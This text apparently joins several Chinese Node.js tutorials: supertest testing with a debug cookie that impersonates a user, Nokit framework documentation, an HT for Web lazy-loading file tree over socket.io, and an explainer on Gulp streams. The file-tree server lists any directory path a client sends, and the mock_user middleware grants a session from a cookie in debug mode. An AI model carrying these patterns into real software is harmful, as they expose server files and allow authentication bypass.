        it('should not sign up an user when it is exist', function(done) {
            request.post('/signup')
            .send({
                loginname: loginname,
                password: password
            })
            .expect(200, function(err, res) {
                should.not.exist(err);
                res.text.should.containEql('用户已经存在');
                done();
            });
        });
    });



在写注册登录的测试案例的时候，我们除了希望看到用户名和密码都正确填写的情况下得到测试通过的结果，还希望看到我们故意不输入用户名的时候也能得到正确的"错误提示"。


3. 需要cookie和session的测试案例


在web开发中，Cookie有着非常重要的作用。因为HTTP是无状态的，所以需要用cookie来辅助实现用户认证。我们先来简单介绍一下cookie的工作机制。



如果所示，如果通过cookie和session协同识别一个用户需要两次请求，第一次请求的时候，服务器并不认识你，但是他给你标记了一个他独有的id，等到第二次请求的时候，浏览器自动给你带上了之前的标签，这样服务器就知道你之前请求过了。


那么问题来了，如果我们写测试案例的时候，需要两次请求来实现的话，会非常麻烦，测试案例也会很冗长。怎么才能一次请求就能使用cookie和session呢？


这时候express的中间件的好处就体现了。

首先，我们在用supertest进行HTTP请求的时候，可以通过下面的形式设置cookie：


set('Cookie', cookieValue)



然后，我们写一个非常简单的中间件：


app.use(function(req, res, next) {
    if (config.debug && req.cookies['mock_user']) {
        var mockUser = JSON.parse(req.cookies['mock_user']);
        req.session.user = new UserModel(mockUser);
        return next();
    }
    next();
});



原理就是先判断当前是否为开发环境，通过config来设置，通常在开发阶段这个值设置为true。其次判断是否具有键为mock_user的cookie键值对，如果存在，设置session里面的user值，这样，只要一次请求我们就能实现用户标识。

最后要解决的问题就是怎么设置字段键为mock_user的cookie了，具体的用法可参照test目录里面的support/support.js,这里不多说。


4. 测试覆盖率


为了检验自己的测试用例是否全面，我们需要知道自己的测试覆盖率是多少。这里介绍一个与mocha非常有好的istanbul。由于本人是在windows下面写的测试代码，就不写Makefile了，比较蛋疼。之所以强调Windows是因为在Windows运行istanbul的时候会会出现问题，具体见http://stackoverflow.com/questions/27084392/code-coverage-for-mocha-in...

因此在Windows运行的时候需要像下面这样运行：


./node_modules/.bin/istanbul cover ./node_modules/mocha/bin/_mocha*



结语


最后也不说什么了，附上本地运行示例代码的测试结果和测试覆盖率结果：




参考资料
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简介

Nokit 是一个简单易用的基于 Nodejs 的 Web 开发框架，默认提供了 MVC / NSP / RESTful 等支持，并提供对应项目模板、管理工具。

资源


	GitHub https://github.com/nokitjs/nokit (欢迎 star)


	使用说明 wiki


	问题反馈 issues


	主页 http://nokit.org






安装和更新

安装 nokit

[sudo] npm install nokitjs [-g]

更新 nokit

[sudo] npm update nokitjs [-g]

命令行工具

使用 “命令行工具” 时必须全局安装 nokitjs (全局安装的同时也可以在 app 中本地安装 nokitjs)，Nokit 应用只需在磁盘建立应用目录，并新建相关文件和目录即可， Nokit 提供了方便的命令行工具。

命令行工具还提供了进程管理相关功能，确保应用能够持续稳定的运行，并能在遇到故障时快速自动恢复。



查看版本

[sudo] nokit [?]

创建应用

[sudo] nokit create [name] [mvc|nsp|restful] [folder] 

以上命令会生成一个最简单的应用所需要的目录结构和配置。


	name 一般不建议省略（省略时为 nokit-app），name 将会作为应用的根目录名称


	type 默认为 mvc 也可以指定为 nsp 或 restful ，指定类型后将会创建对应的应用模板


	folder 为目标目录，省略时将默认为当前所在目录。




运行应用

[sudo] nokit start [port] [root] [-env:<name>] [-cluster[:num]] [-watch[:.ext,...]] [node-opts]


	-env 指定运行配置名称，将会根据 "配置名称" 加载 app.xxx.json (xxx 为指定的配置名称) 作为应用配置文件。


	-cluster 选项可以开启 "单机集群模式"，使应用有效的利用多核 CPU，也使应用更加健壮可靠，-cluster 选项可以指定进程数，如 -cluster:4 ，默认为 CPU 核数。


	-watch 选项开启后，在应用文件发生改变时会自动完成进程重启，默认任何文件变更都将触发重启，也可以指定文件类型，如 -watch:.js,.html,.css


	-public 一般用于为 html/js/css 等静态资源启动一个临时 WebServer，指定静态资源目录，静态资源目录为 root 的相对目录。


	-cache 一般用于为 html/js/css 等静态资源启动一个临时 WebServer，指定缓存配置，例如 -cache:0 不向浏览器发送缓存 header 信息。


	--debug 为 nodejs 选项，可以开启 debug 模式，开启后可以使用 nodejs 内置调试工具调式，也可以使用 node-inspector 等工具进行调试。




停止应用

[sudo] nokit stop [pid|all]

可以指定 pid (进程ID，可以用过 nokit list 查看)，停止指定的的应用，也可以省略停止所有应用

重启应用

[sudo] nokit restart [pid|all]

可以指定 pid (进程ID，可以用过 nokit list 查看)，重启指定的的应用，也可以省略重启所有应用

查看运行中的应用

[sudo] nokit list

查看所有已启动的应用

开机自启动

[sudo] nokit autostart [on|off] [-uid:[domain\]user [-pwd:password]] 

autostart 命令目前支持 win32 和 linux 平台，此命令需要管理员权限，如 ubuntu 需要使用 sodu ，
在 windows 平台会弹出 "用户账户控制" 提示框。
-uid 和 -pwd 参数仅在 win32 平台有效，其它平台将被忽略，在不指定 -uid 、-pwd 参数时，需有用户登录到 windows 
才会自动启动 Nokit App，当指定 -uid、-pwd 时，只要启动 windows 就会自动启动 Nokit App。
无论是登录 windows 的账户或是通过 -uid 提定的账户，需要是安装 nodejs 和 npm 时所用的账户。

在代码中引用

除了使用命令行工具，也可以在代码中引用 nokit 的方式来运行 nokit 应用，
在代码中引用 nokit，将不能利用 nokit 的进程管理功能，这时可以直接运行，或者使用 pm2、forever 等工具进行管理。

var nokit = require("nokitjs");
var server = new nokit.Server({
    root : "应用根目录",
    port : 8000
});
server.start();

无论任种方式，启动成功后，即可浏览器访问 "http://localhost:8000" (端口请换成具体应用的正确的端口)，
示例站点 http://jser.cc (还未全部开发完毕)

NSP

NSP 全称为 Nokit Server Pages 是一种类似 asp / asp.net 的 Web 应用开发模式，
NSP 支持 include 引用其它页面，也支持 master 母板页 技术。

一般目录结构

根目录
│ app.json
│ app.js
├─layout
│     date.nsp
│     master.nsp
├─model
└─public
    │  index.nsp
    │  index.nsp.js
    └─style
         common.css

NSP 页面 (*.nsp) 基本介绍

输出内容

<p> <%= "输出内容" %> </p>
<!-- this 指向页面处理器，无处理器页面指向默认处理器对象 -->
<p> <%= this.context.request.formData("name") %> </p>

循环

<ul> 
<% $.each(this.list,function(i,item){ %>
    <li><%= item.name %></li>
<% }) %>
</ul>

分支

<% if(this.type=='a'){ %>
<span>a</span>
<% }else{ %>
<span>b</span>
<% } %>

包含

<% $.include("../layout/head.nsp") %>

母板页(Master Page)

<html>
...
<div> <% $.placeHolder("content1") %> </div>
...
<div> <% $.placeHolder("content2") %> </div>
...
</html>

内容页(Content Page)

<% $.master("./master.nsp") %>

<% $.placeBegin("content1") %>
<span>content1</span>
<% $.placeEnd() %>

<% $.placeBegin("content2") %>
<span>content2</span>
<% $.placeEnd() %>

NSP 页面处理器 (*.nsp.js) 基本介绍

//定义页面处理器类型
var IndexPresenter = module.exports = function() {};

//初始化方法，每次回发都将触发 init 方法
IndexPresenter.prototype.init = function() {
    var self = this;
    /*
    self.server //当前 server 实例
    self.context //当前请上下文对象
    self.request //同 context.request，请求对象
    self.response //同 context.response 响应对象
    self.context.request.queryData['name'] 可以获取 queryString 对应数据
    self.context.request.formData['name'] 可以获取 post 数据
    self.context.data("name") 可以获取客户端传过来的 queryString 或 formData
    self.context.request.cookie 获取来自客户的 cookie
    self.context.respone.cookie 向客户端发送 cookie
    se轩.context.session 访问 session 数据
    */
    self.name = 'Nokit NSP';
    //init（初始化）完成后，需要调用 ready 方法，通知初始化完成
    self.ready();
};

//默认方法，首次打开页面，会触发 load 方法
IndexPresenter.prototype.load = function() {
    var self = this;
    //由于 nokit 为异步处理，调用 self.render() 方法向浏览器呈现页面.
    //不要在 init 方法调用 self.render() 
    self.render();
};

//事件方法，可以绑定到页面中的 html 控件
IndexPresenter.prototype.add = function() {
    var self = this;
    var val = parseInt(self.numBox.val());
    self.numBox.val(++val);
    self.numBox.css("border","solid 1px red");
    self.render();
};

页面绑定

<!-- 绑定到处理器方法 -->
<input type="button" onclick="nsp.call('add')" value='add' />

共享元素，将普通 DOM 元素通过 "nsp-id" 声明为客户端和服务端的共享元素，便可以在客户端和服务端同时操作指定元素，
并能在回发时保持状态，类似 Asp.NET 的 WebForms，但理念、原理又非常不同，NSP 共享元素非常轻量，更简洁易用。



<!-- 此元素可以在服务端和客户端同时访问 -->
<input type="text" value="hello" nsp-id='test' />

Index.prototype.add = function() {
    var self = this;
    //服务端提供类 jQuery 的元素操作 API (兼容部分常用 jQUery API)
    self.test.val('你好'); 
    self.render();
};

MVC

Nokit MVC 是一种设计简约、符合 MVC 模式 Web 应用开发模式。

一般目录结构

根目录
│ app.json
│ app.js
├─controllers
│    home.js
├─models
├─public
│  └─style
│       common.css
└─views
     date.html
     home.html
     master.html

views 目录存放的是视图，视图和 NSP 的页面相似，支持 include 和 master，语法也完全相同，
不同的是在 mvc 的视图中 this 指向的是模型，视图具有单一的责职 ，就是呈现模型中的数据。



controllers 是控制器目录，单个文件为一个控制器，用来响应接受来自用户的请求，并传递给模型，
然后，完成模型和视图的装配。
models 为模型目录，nokit 对模型没有统一的要求和控制，应用的业务逻辑应在模型中完成。

MVC 的控制器示例

//定义控制器类型
var HomeController = module.exports = function() {};

/*
默认 action ，
通常用户直接请求某一 url 会被路由到指定 controller 的默认 action
*/
HomeController.prototype.index = function() {
    var self = this;
    
    /*
    self.context 可以访问当前请求上下文对象
    self.context.routeData["name"] 可以获取路由数据
    self.context.request.queryData['name'] 可以获取 queryString 对应数据
    self.context.request.formData['name'] 可以获取 post 数据
    self.context.data("name") 可以获取客户端传过来的 queryString 或 formData
    self.context.request.cookie 获取来自客户的 cookie
    self.context.respone.cookie 向客户端发送 cookie
    se轩.context.session 访问 session 数据
    */
    
    //通过 self.render 方法呈现指定的视图，并进行模型绑定
    self.render("home.html", {
        "name": "Nokit MVC"
    });
};

MVC 的 app.json 配置

{
    /*
    配置 handler ，将指定的请求交由 MVC Handler 处理，支持正则表达式，
    如示例，将应用的所有请求都交由 MVC 处理，
    在找不到匹配的路由配置时，会转由 Static Handler 处理
    */
    "handlers": {
        "^/": "$./handlers/mvc"
    },
    "mvc": {
        /*
        配置 MVC 相关代码文件的存放目录，指定 controller 和 view 的目录位置，
        model 不用配置。
        */
        "paths": {
            "controller": "./controllers",
            "view": "./views"
        },
        /*
        每一个路由至少需要指定 pattern(URL匹配模式) 和 target(目标contrller)
        还可以通过配置 action 项指定对应的 action (controller方法)。
        pattern 格式示例 "/user/{userId}" 其中 userId 是占位符变量，
        可以在 controller 中通过 context.routeData['userId'] 获取。
        */
        "routes": [{
            "pattern": "/home",
            "target": "./home.js"
        },{
            "pattern": "/",
            "target": "./home.js"
        }]
    }
}

RESTful

Nokit 用来开发 RESTful Service 是非常方便和简单的，通过简洁的 URL 路由配置，抽象出和资源对应的请求处理程序文件即可，
可以在处理程序中，根据需求实现 get / post / put 等 HttpMethod 即可。

一般目录结构

根目录
│ app.json
│ app.js
├─public
│  │  index.nsp
│  └─style
│       common.css
└─restful
      user.js

REST 的资源控制器示例

//定义资源控制器类型，通常一个资源类型视为一个控制器
function HelloController() {};

/**
 * post 处理方法
 **/
HelloController.prototype.post = function () {
    var self = this;
    /*
    self.context 可以访问当前请求上下文对象
    self.context.routeData["name"] 可以获取路由数据
    self.context.request.queryData['name'] 可以获取 queryString 对应数据
    self.context.request.formData['name'] 可以获取 post 数据
    self.context.data("name") 可以获取客户端传过来的 queryString 或 formData
    self.context.request.body 可以访问请求的主体对象
    */
    self.out({
        "status": "success",
        "message": "Hello " + self.context.routeData["name"] + "!"
    });
};

/**
 * get 处理方法
 **/
HelloController.prototype.get = function () {
    var self = this;
    self.out({
        "status": "success",
        "message": "Hello " + self.context.routeData["name"] + "!"
    });
};


REST 的 app.json 配置

{
    /*
    配置 handler ，将指定的请求交由 REST Handler 处理，支持正则表达式，
    如示例，/api/... 开头的请求，交由 REST Handler 处理
    */
    "handlers": {
        "^/api/": "$./handlers/restful"
    },
    "restful": {
        "path": "./restful", //指定资源控制器的存放目录
        /*
        每一个路由至少需要指定 pattern(URL匹配模式) 和 target(目标contrller)
        pattern 格式示例 "/user/{userId}" 其中 userId 是占位符变量，
        REST 的路由配置没有 action 配置项。
        */
        "routes": [{
             "pattern": "/api/hello/{name}",
             "target": "./hello"
        }]
    }
}

Filter

Filter 可以在请求的不同阶段截获请求，进行相关逻辑处理后，继续向下处理请求或结束请求，一个完整的 filter 包括 4 个事件，如下

//定义一个 Filter
function DemoFilter(){}

//在请求开始时
DemoFilter.prototype.onRequestBegin = function (context, next) {
    next();
};

//在收到数据时
DemoFilter.prototype.onReceived = function (context, next) {
    next();
};

//在向客户端响应内容时
DemoFilter.prototype.onResponse = function (context, next) {
    next();
};

//在请求即将结束时
DemoFilter.prototype.onRequestEnd = function (context, next) {
    next();
};

在应用中注册 Filter，在 应用配置 app.json 中配置:

{
    "filters":{
        "^/":"./filters/demo-filter.js"
    }
}
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HT for Web的HTML5树组件有延迟加载的功能，这个功能对于那些需要从服务器读取具有层级依赖关系数据时非常有用，需要获取数据的时候再向服务器发起请求，这样可减轻服务器压力，同时也减少了浏览器的等待时间，让页面的加载更加流畅，增强用户体验。

进入正题，今天用来做演示的Demo是，客户端请求服务器读取系统文件目录结构，通过HT for Web的HTML5树组件显示系统文件目录结构。

首先，我们先来设计下服务器，这次Demo的服务器采用Node.js，用到了Node.js的express、socket.io、fs和http这四个模块，Node.js的相关知识，我在这里就不阐述了，网上的教材一堆，这里推荐下socket.io的相关入门http://socket.io/get-started/chat/。

服务端代码代码：


var fs = require('fs'),
    express = require('express'),
    app = express(),
    server = require('http').createServer(app),
    io = require('socket.io')(server),
    root = ‘/Users/admin/Projects/ht-for-web/guide‘;

io.on('connection', function(socket){
    socket.on('explore', function(url){
        socket.emit('file', walk(url || root));
    });
});

app.use(express.static('/Users/admin/Projects/ht-for-web'));

server.listen(5000, function(){
    console.log('server is listening at port 5000');
});



io监听了connection事件，并获得一个socket；socket再监听一个叫explore的自定义事件，通过url参数获取到数据后，派发一个叫file的自定义事件，供客户端监听并做相应处理；通过app.use结合express.static设置项目路径；最后让server监听5000端口。

到此，一个简单的服务器就搭建好了，现在可以通过http://localhost:5000来访问服务器了。等等，好像缺了点什么。对了，获取系统文件目录结构的方法忘记给了，OK，那么我们就先来看看获取整站文件的代码是怎么写的：


function walk(pa) {
    var dirList = fs.readdirSync(pa),
        key = pa.substring(pa.lastIndexOf('/') + 1),
        obj = {
            name: key,
            path: pa,
            children: [],
            files: []
        };
    dirList.forEach(function(item) {
        var stats = fs.statSync(pa + '/' + item);
        if (stats.isDirectory()) {
            obj.children.push(walk(pa + '/' + item));
        }
        else {
            obj.files.push({name: item, dir: pa + '/' + item});
        }
    });

    return obj;
}



如大家所见，采用递归的方式，逐层遍历子目录，代码也没什么高深的地方，相信大家都看得懂。那我们来看看运行效果吧：


duang～文件目录结构出来了，是不是感觉酷酷的，这代码量不小吧。其实，代码并不多，贴出来大家瞅瞅：


<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>tree-loader</title>
    <script src="/socket.io/socket.io.js"></script>
    <script src="/lib/core/ht.js"></script>
    <script>
        var socket = io(), idMap = {};
        function init() {
            var dm = window.dm = new ht.DataModel(),
                    tree = new ht.widget.TreeView(dm);

            tree.addToDOM();

            socket.on('file', function(data) {
                var root = dm.getDataById(idMap[data.path]);
                createChildren(data.children || [], root, dm);
                createFiles(data.files || [], root, dm);
            });
            socket.emit('explore');
        }

        function createChildren(children, parent, dm) {
            children.forEach(function(child) {
                var n = createData(child, parent);
                dm.add(n);
                createChildren(child.children || [], n, dm);
                createFiles(child.files || [], n, dm);
            });
        }

        function createFiles(files, parent, dm){
            files.forEach(function(file){
                var n = createData(file, parent);
                dm.add(n);
            });
        }

        function createData(data, parent){
            var n = new ht.Data();
            n.setName(data.name);
            n.setParent(parent);
            n.a('path', data.path);
            idMap[data.path] = n.getId();
            return n;
        }
    </script>
</head>
<body onload="init();">
</body>
</html>



这就是全部的HTML代码，加上空行总共也就50几行，怎么样，有没有感觉HT for Web很强大。废话不多说，来看看这些代码都干了些什么：



	要用到socket.io就需要在页面引入<script src=“/socket.io/socket.io.js”></script>，其实在我的项目中并不存在/socket.io/socket.io.js文件，但是却能正常使用，具体什么原因，我就不多说，大家自己研究去吧；


	最重要的是要引入HT for Web的核心包<script src=“/lib/core/ht.js”></script>，这个包不引入的话，下面的HT for Web组件就无法使用；


	接下来就是代码了，首先创建一个数据容器DataModel，用来存放文件目录的节点数据，再创建一个TreeView对象并引用刚创建到数据容器，接下来通过socket监听file事件，获取服务器返回的数据，在回调函数中通过调用createChildren和createFiles函数，创建文件目录节点对象，并添加到数据容器中，最后是向服务器发起数据请求，即通过socket派发explore事件。




整体的思路是这样子的，当然这离我们要实现的树组件的延迟加载技术还有些差距，那么，HT for Web的HTML5树组件的延迟加载技术是怎么实现的呢？不要着急，马上开始探讨。

首先我们需要改造下获取文件目录的方法walk，因为前面介绍的方法中，使用的是加载整站文件目录，所以我们要将walk方法改造成只获取一级目录结构，改造起来很简单，就是将递归部分改造成获取当前节点就可以了，具体代码如下：


obj.children.push(walk(pa + '/' + item));
// 将上面对代码改成下面的代码
obj.children.push({name: item, path: pa + '/' + item});



这样子服务器就只请求当前请求路径下的第一级文件目录结构。接下来就是要调整下客户端代码了，首先需要给tree设置上loader:


tree.setLoader({
    load: function(data) {
        socket.emit('explore', data.a('path'));
        data.a('loaded', true);
    },
    isLoaded: function(data) {
        return data.a('loaded');
    }
});



loader包含了两个方法，load和isLoaded，这两个方法的功能分别是加载数据和判断数据是否已经加载，在load方法中，对socket派发explore事件，当前节点的path为参数，向服务器请求数据，之后将当前节点的loaded属性设置为true；在isLoaded方法中，返回当前节点的loaded属性，如果返回为true，那么tree将不会在执行load方法向服务器请求数据。

接下来需要移除createChildren的两个回调方法，并且在createFiles方法中为创建出来的节点的loaded属性设置成true，这样在不是目录的节点前就不会有展开的图标。createChildren和createFiles两个方法修改后的代码如下：


function createChildren(children, parent, dm) {
    children.forEach(function(child) {
        var n = createData(child, parent);
        dm.add(n);
    });
}

function createFiles(files, parent, dm){
    files.forEach(function(file){
        var n = createData(file, parent);
        n.a('loaded', true);
        dm.add(n);
    });
}



如此，HT for Web的HTML5树组件延迟加载技术就设计完成了，我在服务器的控制台打印出请求路径，看看这个延迟加载是不是真的，如下图：



看吧，控制台打印的是4条记录，第一条是请求跟目录时打印的，我在浏览器中展开里三个目录，在控制台打印了其对应的目录路径。

等等，现在这个目录看起来好烦，只有文字，除了位子前的展开图标可以用来区别文件和目录外，没有其他什么区别，所以我决定对其进行一番改造，让每一级目录都有图标，而且不同文件对应不同的图标，来看看效果吧：


怎么样，是不是一眼就能看出是什么文件，这个都是样式上面的问题，我就不再一一阐述了，直接上代码：


<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <script src="/socket.io/socket.io.js"></script>
    <script src="/build/ht-debug.js"></script>
    <script>
        var socket = io(), idMap = {};
        function init() {
            var icons = ['css', 'dir-open', 'dir', 'file', 'flash', 'gif', 'html', 'jar',
                'java', 'mp3', 'pdf', 'png', 'script', 'txt', 'video', 'xml', 'zip'];
            icons.forEach(function(c){
                ht.Default.setImage(c, 16, 16, '/test/wyl/images/' + c + '.png');
            });

            var dm = window.dm = new ht.DataModel(),
                    tree = new ht.widget.TreeView(dm);
            tree.setLoader({
                load: function(data) {
                    socket.emit('explore', data.a('path'));
                    data.a('loaded', true);
                },
                isLoaded: function(data) {
                    return data.a('loaded');
                }
            });
            tree.getLabelFont = function(data){
                return '13px Helvetica, Arial, sans-serif';
            };
            tree.getLabelColor = function (data) {
                return this.isSelected(data) ? 'white' : 'black';
            };
            tree.getSelectBackground = function (data) {
                return '#408EDB';
            };
            tree.getIcon = function (data) {
                var icon = data.getIcon() || 'file';
                if (data.a('isdir')) {
                    if (this.isExpanded(data)) {
                        icon = 'dir-open';
                    } else {
                        icon = 'dir';
                    }
                }
                return icon;
            };
            tree.addToDOM();

            socket.on('file', function(data) {
                var root = dm.getDataById(idMap[data.path]);
                createChildren(data.children || [], root, dm);
                createFiles(data.files || [], root, dm);
            });
            socket.emit('explore');
        }

        function createChildren(children, parent, dm) {
            children.forEach(function(child) {
                var n = createData(child, parent);
                n.a('isdir', true);
                dm.add(n);
            });
        }

        function createFiles(files, parent, dm){
            files.forEach(function(file){
                var n = createData(file, parent);
                n.a('loaded', true);
                dm.add(n);
            });
        }

        function createData(data, parent){
            var name = data.name,
                    icon = 'file';
            if (/.jar$/.test(name)) icon = 'jar';
            else if (/.css$/.test(name)) icon = 'css';
            else if (/.gif$/.test(name)) icon = 'gif';
            else if (/.png$/.test(name)) icon = 'png';
            else if (/.js$/.test(name)) icon = 'script';
            else if (/.html$/.test(name)) icon = 'html';
            else if (/.zip$/.test(name)) icon = 'zip';
            var n = new ht.Data();
            n.setName(data.name);
            n.setParent(parent);
            n.setIcon(icon);
            n.a('path', data.path);
            idMap[data.path] = n.getId();
            return n;
        }
    </script>
</head>
<body onload="init();">
</body>
</html>



在最后，附上完整的服务器代码：


var fs = require('fs'),
    express = require('express'),
    app = express(),
    server = require('http').createServer(app),
    io = require('socket.io')(server),
    root = '/Users/admin/Projects/ht-for-web/guide';

io.on('connection', function(socket){
    socket.on('explore', function(url){
        socket.emit('file', walk(url || root));
    });
});

app.use(express.static('/Users/admin/Projects/ht-for-web'));

server.listen(5000, function(){
    console.log('server is listening at port 5000');
});

function walk(pa) {
    var dirList = fs.readdirSync(pa),
        key = pa.substring(pa.lastIndexOf('/') + 1),
        obj = {
            name: key,
            path: pa,
            children: [],
            files: []
        };
    dirList.forEach(function(item) {
        var stats = fs.statSync(pa + '/' + item);
        if (stats.isDirectory()) {
            obj.children.push({name: item, path: pa + '/' + item});
        }
        else {
            obj.files.push({name: item, dir: pa + '/' + item});
        }
    });

    return obj;
}
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来自Gulp的难题

描述Gulp的项目构建过程的代码，并不总是简单易懂的。

比如Gulp的这份recipe：

var browserify = require('browserify');
var gulp = require('gulp');
var source = require('vinyl-source-stream');
var buffer = require('vinyl-buffer');
var uglify = require('gulp-uglify');
var sourcemaps = require('gulp-sourcemaps');
var gutil = require('gulp-util');

gulp.task('javascript', function () {
  var b = browserify({
    entries: './entry.js',
    debug: true
  });

  return b.bundle()
    .pipe(source('app.js'))
    .pipe(buffer())
    .pipe(sourcemaps.init({loadMaps: true}))
    .pipe(uglify())
    .on('error', gutil.log)
    .pipe(sourcemaps.write('./'))
    .pipe(gulp.dest('./dist/js/'));
});


这是一个使用Browserify及Uglify并生成Source Map的例子。请想一下这样几个问题：


	b.bundle()生成了什么，为什么也可以.pipe()？


	为什么不是从gulp.src()开始？


	为什么还要vinyl-source-stream和vinyl-buffer？它们是什么？


	添加在中间的.on('error', gutil.log)有什么作用？




要回答这些问题，就需要对Gulp做更深入的了解，这可以分成几个要素。

要素之一：Stream

你可能也在最初开始使用Gulp的时候就听说过：Gulp是一个有关Stream（数据流）的构建系统。这句话的意思是，Gulp本身使用了Node的Stream。

Stream如其名字所示的“流”那样，就像是工厂的流水线。你要加工一个产品，不用全部在一个位置完成，而是可以拆分成多道工序。产品从第一道工序开始，第一道工序完成后，输出然后流入第二道工序，然后再第三道工序...一方面，大批量的产品需求也不用等到全部完工（这通常很久），而是可以完工一个就拿到一个。另一方面，复杂的加工过程被分割成一系列独立的工序，这些工序可以反复使用，还可以在需要的时候进行替换和重组。这就是Stream的理念。

Stream在Node中的应用十分广泛，几乎所有Node程序都在某种程度上用到了Stream。

管道

Stream有一个很基本的操作叫做管道（pipe）。Stream是水流，而管道可以从一个流的输出口，接到另一个流的输入口，从而控制流向。如果用前面的流水线工序来说的话，就是连接工序的传输带了。



Node的Stream有一个方法pipe()，也就是管道操作对应的方法。它一般这样用：

src.pipe(dst)


其中src和dst都是stream，分别代表源和目标。也就是说，流src的输出，将作为输入转到流dst。此外，这个方法返回目标流（比如这里.pipe(dst)返回dst），因此可以链式调用：

a.pipe(b).pipe(c).pipe(d)


内存操作

Stream的整个操作过程，都在内存中进行。因此，相比Grunt，使用Stream的Gulp进行多步操作并不需要创建中间文件，可以省去额外的src和dest。

事件

Node的Stream都是Node事件对象EventEmitter的实例，它们可以通过.on()添加事件侦听。

你可以查看EventEmitter的API文档。

类型

在现在的Node里，Stream被分为4类，分别是Readable（只读）、Writable（只写）、Duplex（双向）、 Transform（转换）。其中Duplex就是指可读可写，而Transform也是Duplex，只不过输出是由输入计算得到的，因此算作Duplex的特例。

Readable Stream和Writable Stream分别有不同的API及事件（例如readable.read()和writable.write()），Duplex Stream和Transform Stream因为是可读可写，因此拥有前两者的全部特性。

例子

虽然Node中可以通过require("stream")引用Stream，但比较少会需要这样直接使用。大部分情况下，我们用的是Stream Consumers，也就是具有Stream特性的各种子类。

Node中许多核心包都用到了Stream，它们也是Stream Consumers。以下是一个使用Stream完成文件复制的例子：

var fs = require("fs");
var r = fs.createReadStream("nyanpass.txt");
var w = fs.createWriteStream("nyanpass.copy.txt");
r.pipe(w).on("finish", function(){
    console.log("Write complete.");
});


其中，fs.createReadStream()创建了Readable Stream的r，fs.createWriteStream()创建了Writable Stream的w，然后r.pipe(w)这个管道方法就可以完成数据从r到w的流动。

如前文所说，Stream是EventEmitter的实例，因此这里的on()方法为w添加了事件侦听，事件finish是Writable Stream的一个事件，触发于写入操作完成。

更多有关Stream的介绍，推荐阅读Stream Handbook和Stream API。

要素之二：Vinyl文件系统

虽然Gulp使用的是Stream，但却不是普通的Node Stream，实际上，Gulp（以及Gulp插件）用的应该叫做Vinyl File Object Stream。

这里的Vinyl，是一种虚拟文件格式。Vinyl主要用两个属性来描述文件，它们分别是路径（path）及内容（contents）。具体来说，Vinyl并不神秘，它仍然是JavaScript Object。Vinyl官方给了这样的示例：

var File = require('vinyl');

var coffeeFile = new File({
  cwd: "/",
  base: "/test/",
  path: "/test/file.coffee",
  contents: new Buffer("test = 123")
});


从这段代码可以看出，Vinyl是Object，path和contents也正是这个Object的属性。

Vinyl的意义

Gulp为什么不使用普通的Node Stream呢？请看这段代码：

gulp.task("css", function(){
    gulp.src("./stylesheets/src/**/*.css")
        .pipe(gulp.dest("./stylesheets/dest"));
});


虽然这段代码没有用到任何Gulp插件，但包含了我们最为熟悉的gulp.src()和gulp.dest()。这段代码是有效果的，就是将一个目录下的全部.css文件，都复制到了另一个目录。这其中还有一个很重要的特性，那就是所有原目录下的文件树，包含子目录、文件名等，都原封不动地保留了下来。

普通的Node Stream只传输String或Buffer类型，也就是只关注“内容”。但Gulp不只用到了文件的内容，而且还用到了这个文件的相关信息（比如路径）。因此，Gulp的Stream是Object风格的，也就是Vinyl File Object了。到这里，你也知道了为什么有contents、path这样的多个属性了。

vinyl-fs

Gulp并没有直接使用vinyl，而是用了一个叫做vinyl-fs的模块（和vinyl一样，都是npm）。vinyl-fs相当于vinyl的文件系统适配器，它提供三个方法：.src()、.dest()和.watch()，其中.src()将生成Vinyl File Object，而.dest()将使用Vinyl File Object，进行写入操作。

在Gulp源码index.js中，可以看到这样的对应关系：

var vfs = require('vinyl-fs');
// ...
Gulp.prototype.src = vfs.src;
Gulp.prototype.dest = vfs.dest;
// ...


也就是说，gulp.src()和gulp.dest()直接来源于vinyl-fs。

类型

Vinyl File Object的contents可以有三种类型：Stream、Buffer（二进制数据）、Null（就是JavaScript里的null）。需要注意的是，各类Gulp插件虽然操作的都是Vinyl File Object，但可能会要求不同的类型。

在使用Gulp过程中，可能会碰到incompatible streams的问题，像这样：



这个问题的原因一般都是Stream与Buffer的类型差异。Stream如前文介绍，特性是可以把数据分成小块，一段一段地传输，而Buffer则是整个文件作为一个整体传输。可以想到，不同的Gulp插件做的事情不同，因此可能不支持某一种类型。例如，gulp-uglify这种需要对JavaScript代码做语法分析的，就必须保证代码的完整性，因此，gulp-uglify只支持Buffer类型的Vinyl File Object。

gulp.src()方法默认会返回Buffer类型，如果想要Stream类型，可以这样指明：

gulp.src("*.js", {buffer: false})


在Gulp的插件编写指南中，也可以找到Using buffers及Dealing with streams这样两种类型的参考。

Stream转换

为了让Gulp可以更多地利用当前Node生态体系的Stream，出现了许多Stream转换模块。下面介绍一些比较常用的。

vinyl-source-stream

vinyl-source-stream可以把普通的Node Stream转换为Vinyl File Object Stream。这样，相当于就可以把普通Node Stream连接到Gulp体系内。具体用法是：

var fs = require("fs");
var source = require('vinyl-source-stream');
var gulp = require('gulp');

var nodeStream = fs.createReadStream("komari.txt");
nodeStream
    .pipe(source("hotaru.txt"))
    .pipe(gulp.dest("./"));


这段代码中的Stream管道，作为起始的并不是gulp.src()，而是普通的Node Stream。但经过vinyl-source-stream的转换后，就可以用gulp.dest()进行输出。其中source([filename])就是调用转换，我们知道Vinyl至少要有contents和path，而这里的原Node Stream只提供了contents，因此还要指定一个filename作为path。

vinyl-source-stream中的stream，指的是生成的Vinyl File Object，其contents类型是Stream。类似的，还有vinyl-source-buffer，它的作用相同，只是生成的contents类型是Buffer。

vinyl-buffer

vinyl-buffer接收Vinyl File Object作为输入，然后判断其contents类型，如果是Stream就转换为Buffer。

很多常用的Gulp插件如gulp-sourcemaps、gulp-uglify，都只支持Buffer类型，因此vinyl-buffer可以在需要的时候派上用场。

Gulp错误处理

Gulp有一个比较令人头疼的问题是，如果管道中有任意一个插件运行失败，整个Gulp进程就会挂掉。尤其在使用gulp.watch()做即时更新的时候，仅仅是临时更改了代码产生了语法错误，就可能使得watch挂掉，又需要到控制台里开启一遍。

对错误进行处理就可以改善这个问题。前面提到过，Stream可以通过.on()添加事件侦听。对应的，在可能产生错误的插件的位置后面，加入on("error")，就可以做错误处理：

gulp.task("css", function() {
    return gulp.src(["./stylesheets/src/**/*.scss"])
        .pipe(sass())
        .on("error", function(error) {
            console.log(error.toString());
            this.emit("end");
        })
